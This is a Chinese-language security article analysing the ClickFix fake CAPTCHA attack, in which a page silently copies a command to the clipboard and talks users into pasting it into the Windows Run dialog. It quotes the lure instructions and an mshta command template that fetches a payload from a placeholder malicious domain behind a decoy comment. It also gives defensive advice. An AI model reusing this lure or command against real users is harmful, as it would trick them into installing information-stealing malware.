假 CAPTCHA 网站劫持剪贴板投递信息窃取器:ClickFix 攻击手法分析
导读:当"证明你不是机器人"本身成了攻击入口,你每一次对 CAPTCHA 的习惯性顺从,都可能是一次自感染。Malwarebytes 在 2025 年 3 月披露的这套 ClickFix 攻击手法,把"用户自己感染自己"这件事做到了规模化复制。
事件背景
2025 年 3 月 10 日,Malwarebytes 的恶意软件情报研究员 Pieter Arntz 发布了一篇关于 Fake CAPTCHA 剪贴板劫持的报告。报告的核心判断是:越来越多网站开始利用剪贴板劫持 + 社会工程学,诱导受害者自己感染自己。
这个手法听起来简单到不像能奏效——让用户自己按 Win+R、粘贴、回车。但 Malwarebytes 特别指出,它背后的社会工程学设计相当精巧,而且已经从针对企业员工(获取内网立足点)扩展到了面向所有人的规模化攻击。
攻击链拆解
我把这个攻击链拆成 5 个阶段来看。
阶段 1:诱饵页面
攻击者通常在提供"流行内容"的网站上布下陷阱——电影、音乐、图片、新闻文章,什么热门就用什么。用户访问后,会看到一个再正常不过的 CAPTCHA 验证框:“证明你不是机器人”。这个交互如此普遍,几乎没有人会多想。
阶段 2:剪贴板写入
当用户点击那个"我不是机器人"的复选框时,后台的 JavaScript 函数 document.execCommand('copy') 被触发,将一段恶意命令静默写入了剪贴板。
阶段 3:诱导自行执行
接下来是整个攻击最"精巧"的部分。点击 checkbox 后,页面跳转到一个验证指引:
To better prove you are not a robot, please:
- Press & hold the Windows Key + R.
- In the verification windows, press Ctrl + V.
- Press Enter on your keyboard to finish.
You will observe and agree: “I’m not a robot – reCAPTCHA Verification ID: 8253”
这段指令的意思是:打开 Windows 运行对话框(Win+R),粘贴剪贴板内容(Ctrl+V),按回车执行。
阶段 4:注释 trick
用户粘贴后,运行对话框里看到的是这样一串文字:
I'm not a robot – reCAPTCHA Verification ID: 8253
看起来像是验证码的一部分,完全无害。但 Malwarebytes 指出,这只是剪贴板内容的最后一部分——一段被添加在命令末尾的注释。真正执行的命令藏在前面,用户在运行对话框里看不到完整内容(正常情况下只显示末尾)。
实际写入剪贴板的完整内容是类似这样的结构:
mshta https://{malicious.domain}/media.file
后面跟着那段"I’m not a robot"的注释作为掩护。
阶段 5:mshta 下载执行
mshta 是 Windows 自带的合法可执行文件 mshta.exe,用于运行 HTML 应用程序(HTA)。它被攻击者当作 LOLBins(Living Off The Land Binaries)利用——用系统自带的合法程序执行恶意操作,从而绕过基于行为检测的防御。
mshta 会从指定域名下载一个伪装成媒体文件的 payload。Malwarebytes 观察到的文件名后缀包括 mp3、mp4、jpg、jpeg、swf、html 等——看起来完全无害。但这些文件实际上是编码后的 PowerShell 命令,会在后台静默运行,下载真正的恶意软件。
攻防视角
从攻击者视角看,这套手法的精妙之处在于把攻击的执行责任转移给了用户自己。传统钓鱼需要攻击者构造漏洞利用链或捆绑恶意附件,而 ClickFix 只需要一个网页 + 一段 JavaScript + 一套话术。用户自己按了 Win+R,自己粘贴了命令,自己按了回车——每一步都是"用户主动操作",很多安全防御机制对用户主动执行的操作不做拦截。
从防御视角看,这个攻击链里有几个值得关注的点:
- CAPTCHA 信任被武器化:CAPTCHA 是互联网基础设施的一部分,用户每天都会遇到几十次。攻击者利用这种"肌肉记忆"式的信任,把恶意操作伪装成验证流程。
- LOLBins 绕过:
mshta.exe是系统合法程序,不会触发"未知可执行文件"告警。防御方需要对 LOLBins 的异常使用建立检测规则。 - 注释 trick 的认知缝隙:用户看到的"I’m not a robot"注释跟实际执行的
mshta命令之间存在认知缝隙——你以为粘贴的是验证文本,实际执行的是下载命令。
我的判断
这个攻击手法的本质,是攻击者找到了"CAPTCHA 信任"和"用户操作授权"之间的 Trust Boundary Violation,并系统性地利用了它。
给项目方的建议:企业终端防御应增加对 mshta.exe 异常网络请求的行为检测规则——正常情况下终端用户几乎不会手动通过运行对话框执行 mshta 加载远程文件,一旦出现这种行为,基本可以判定为 ClickFix 攻击。同时对员工做针对性安全意识培训:任何要求你按 Win+R 并粘贴执行的网站,100% 是攻击。
给用户的建议:合法网站永远不会要求你通过运行对话框来"验证身份"。如果遇到这种指令,立即关闭页面。日常上网时可以用独立浏览器访问未知网站(我自己的习惯是不同用途用不同浏览器),或者在访问未知网站前禁用 JavaScript——document.execCommand('copy') 需要 JS 才能触发,禁用 JS 就能切断这条攻击链的起点。
网络安全对抗是一场持久战。ClickFix 这类攻击的可怕之处不在于技术多复杂,而在于它把攻击成本降到了几乎为零——一个网页就能骗到用户自己执行恶意命令。防御这类攻击,技术手段当然重要(反恶意软件、浏览器扩展、LOLBins 检测),但更关键的是建立一种基本的安全直觉:对任何"看似合理但需要你执行操作"的指令保持警惕。知己知彼,才好做好防御工作。大家也多注意安全。